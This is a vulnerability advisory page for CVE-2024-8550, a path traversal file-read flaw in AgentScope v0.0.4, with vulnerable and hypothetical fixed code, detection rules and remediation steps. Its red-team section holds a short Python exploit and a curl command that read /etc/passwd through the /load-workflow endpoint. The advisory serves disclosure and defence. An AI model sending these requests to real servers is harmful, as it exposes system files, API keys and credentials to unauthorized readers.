CVE-2024-8550
Executive Summary
CVE-2024-8550 is a Local File Inclusion (LFI) vulnerability in the /load-workflow endpoint of Modelscope AgentScope version v0.0.4. The flaw arises from improper sanitization of user input passed to os.path.join, allowing an attacker to read arbitrary files from the server, including sensitive files such as API keys. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to confidentiality. No patch is currently available, and exploitation is straightforward via path traversal sequences (e.g., ../). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of details increases risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
AgentScope is a Python package available on PyPI. This vulnerability affects the core application logic, not a dependency. However, organizations using AgentScope in their supply chain should treat this as a critical risk until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The vulnerability is easily exploitable remotely without authentication, leading to full disclosure of sensitive files.
Deep Dive & Mechanics
The /load-workflow endpoint in AgentScope v0.0.4 accepts a filename parameter and passes it to os.path.join without proper sanitization. The function os.path.join does not prevent path traversal; it simply concatenates paths. An attacker can supply a filename like ../../etc/passwd to read arbitrary files outside the intended workflow directory.
Root Cause: Lack of input validation and failure to canonicalize the path before use.
Impact: An attacker can read:
- Application configuration files (e.g.,
.env,config.yaml) - API keys, database credentials
- System files (e.g.,
/etc/passwd,/etc/shadow) - Source code
Vulnerable vs. Patched Code
Vulnerable Code (v0.0.4):
@app.route('/load-workflow', methods=['GET'])
def load_workflow():
filename = request.args.get('filename')
# No sanitization
filepath = os.path.join('workflows', filename)
with open(filepath, 'r') as f:
return f.read()
Patched Code (Hypothetical):
import os
@app.route('/load-workflow', methods=['GET'])
def load_workflow():
filename = request.args.get('filename')
# Sanitize: remove path traversal sequences
safe_filename = os.path.basename(filename)
filepath = os.path.join('workflows', safe_filename)
# Ensure file is within allowed directory
real_path = os.path.realpath(filepath)
allowed_path = os.path.realpath('workflows')
if not real_path.startswith(allowed_path):
return "Invalid file", 403
with open(real_path, 'r') as f:
return f.read()
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
import requests
target = "http://target:port"
payload = "../../etc/passwd"
url = f"{target}/load-workflow?filename={payload}"
response = requests.get(url)
print(response.text)
Manual Exploitation:
curl "http://target:port/load-workflow?filename=../../etc/passwd"
Lab Setup:
- Deploy AgentScope v0.0.4 in a Docker container.
- Expose port 5000.
- Run the exploit to read
/etc/passwd.
Blue Team
Detection:
- Monitor for path traversal patterns in HTTP requests (e.g.,
../,..\\). - Alert on requests to
/load-workflowwith suspiciousfilenameparameters. - Use WAF rules to block path traversal sequences.
Hunting:
- Search logs for
filenameparameter containing../or..\\. - Check for unusual file reads from the application directory.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/load-workflow?filename=../../etc/passwd - Repeated path traversal attempts in logs
- HTTP GET requests to
- File System:
- Unexpected access to
/etc/passwd,/etc/shadow,.env,config.yaml
- Unexpected access to
- Logs:
- Application logs showing
FileNotFoundErrorfor system files - Web server logs with
200responses to path traversal requests
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2024_8550_LFI {
meta:
description = "Detects path traversal attempts in AgentScope /load-workflow endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-8550"
strings:
$path_traversal = /\.\.\/|\.\.\\/
$endpoint = "/load-workflow"
condition:
$endpoint and $path_traversal
}
Sigma Rule
title: CVE-2024-8550 LFI Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal in /load-workflow endpoint
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/load-workflow?filename='
cs-uri-query|contains: '../'
condition: selection
falsepositives:
- Legitimate use of relative paths (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8550 LFI Attempt"; flow:to_server,established; content:"/load-workflow"; http_uri; content:"filename="; http_uri; pcre:"/\.\.\//"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
/load-workflowendpoint if not required. - Apply input validation: Use
os.path.basename()to strip path traversal sequences. - Implement allowlist: Only permit specific filenames (e.g., workflow IDs).
- Use a WAF to block path traversal patterns.
Long-term Fix:
- Upgrade to a patched version once available.
- Conduct a security audit of all endpoints for similar issues.
Workaround:
- Restrict file read permissions so the application cannot access sensitive system files.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.